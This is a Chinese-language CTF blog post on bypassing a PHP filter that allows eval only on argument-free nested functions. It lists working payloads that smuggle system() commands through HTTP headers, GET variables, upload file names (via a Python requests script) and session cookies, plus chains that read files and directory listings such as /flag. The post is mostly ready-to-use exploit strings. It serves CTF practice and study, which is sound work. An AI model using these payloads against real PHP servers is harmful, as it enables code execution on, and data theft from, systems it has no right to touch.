前言
最近好多比赛都考rce,而且都防得很死,没办法,只能自己总结一下了。
环境准备
1 2 3 4 5 6
| <?php highlight_file(__FILE__); if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } ?>
|
这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。
本文涉及的相关函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 目录操作: getchwd() :函数返回当前工作目录。 scandir() :函数返回指定目录中的文件和目录的数组。 dirname() :函数返回路径中的目录部分。 chdir() :函数改变当前的目录。 数组相关的操作: end() - 将内部指针指向数组中的最后一个元素,并输出。 next() - 将内部指针指向数组中的下一个元素,并输出。 prev() - 将内部指针指向数组中的上一个元素,并输出。 reset() - 将内部指针指向数组中的第一个元素,并输出。 each() - 返回当前元素的键名和键值,并将内部指针向前移动。 array_shift() - 删除数组中第一个元素,并返回被删除元素的值。 读文件 show_source() - 对文件进行语法高亮显示。 readfile() - 输出一个文件。 highlight_file() - 对文件进行语法高亮显示。 file_get_contents() - 把整个文件读入一个字符串中。 readgzfile() - 可用于读取非 gzip 格式的文件
|
关键函数
getenv()
getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本
1
| ?code=var_dump(getenv());
|
**getallheaders()**:获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用
传入?code=print_r(getallheaders());,数组返回 HTTP 请求头
Payload1
使用end指向最后一个请求头,用其值进行rce
1 2 3
| GET /1.php?code=eval(end(getallheaders())); HTTP/1.1 ..... flag: system('id');
|
● end():将数组的内部指针指向最后一个单元
Payload2
此payload适用于php7以上版本
1 2 3
| GET /1.php?exp=eval(end(apache_request_headers())); HTTP/1.1 .... flag: system('id');
|
get_defined_vars()
Payload1
1
| ?code=eval(end(current(get_defined_vars())));&flag=system('ls');
|
利用全局变量进RCE
**get_defined_vars()**:返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get->post->cookie->files
**current()**:返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值
Payload2
?flag=phpinfo();&code=print_r(get_defined_vars());
该函数会返回全局变量的值,如get、post、cookie、file数据,
flag=>phpinfo();在_GET数组中,所以需要使用两次取数组值:
pos第一次取值
1
| ?flag=phpinfo();&code=print_r(pos(get_defined_vars()));
|
pos第二次取值
1
| ?flag=phpinfo();&code=print_r(pos(pos(get_defined_vars())));
|
执行phpinfo()
1
| ?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));
|
任意命令执行
1
| ?flag=system('id');&code=eval(pos(pos(get_defined_vars())));
|
Payload3
而如果网站对$_GET,$_POST,$_COOKIE都做的过滤, 那我们只能从$_FILES入手了,file数组在最后一个,需要end定位,然后pos两次定位获得文件名
1 2 3 4 5 6 7 8 9
| import requests files = { "system('whoami');": "" }
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files) print(r.content.decode("utf-8", "ignore"))
|
session_start()
适用于:php7以下的版本
● **session_start()**:启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()
● **session_id()**:获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
文件读取
● show_source(session_id(session_start()));
● var_dump(file_get_contents(session_id(session_start())))
● highlight_file(session_id(session_start()));
● readfile(session_id(session_start()));
抓包传入Cookie: PHPSESSID=(想读的文件)即可
1 2
| GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1 Cookie: PHPSESSID=/flag
|
读取成功:
命令执行
**hex2bin()**函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可
先传入eval(hex2bin(session_id(session_start())));,然后抓包传入Cookie: PHPSESSID=(“system(‘命令’)”的十六进制)即可
1 2
| GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 Cookie: PHPSESSID=706870696e666f28293b
|
回显成功
scandir()
文件读取
查看当前目录文件名
1
| print_r(scandir(current(localeconv())));
|
读取当前目录文件
getcwd() 是一个PHP内置函数,用于获取当前工作目录(当前的工作路径)的绝对路径
array_flip()
是一个PHP内置函数,用于交换关联数组(associative array)中的键和值。它会创建一个新的数组,其中原数组的键变成了新数组的值,原数组的值变成了新数组的键。
1 2 3 4 5 6 7 8 9 10 11
| 当前目录倒数第一位文件: show_source(end(scandir(getcwd()))); show_source(current(array_reverse(scandir(getcwd()))));
当前目录倒数第二位文件: show_source(next(array_reverse(scandir(getcwd()))));
随机返回当前目录文件: highlight_file(array_rand(array_flip(scandir(getcwd())))); show_source(array_rand(array_flip(scandir(getcwd())))); show_source(array_rand(array_flip(scandir(current(localeconv())))));
|
查看上一级目录文件名
1 2 3
| print_r(scandir(dirname(getcwd()))); print_r(scandir(next(scandir(getcwd())))); print_r(scandir(next(scandir(getcwd()))));
|
读取上级目录文件
1 2 3
| show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
|
payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径
查看和读取根目录文件
所获得的字符串第一位有几率是/,需要多试几次
1
| print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
|
参考:https://xz.aliyun.com/t/10780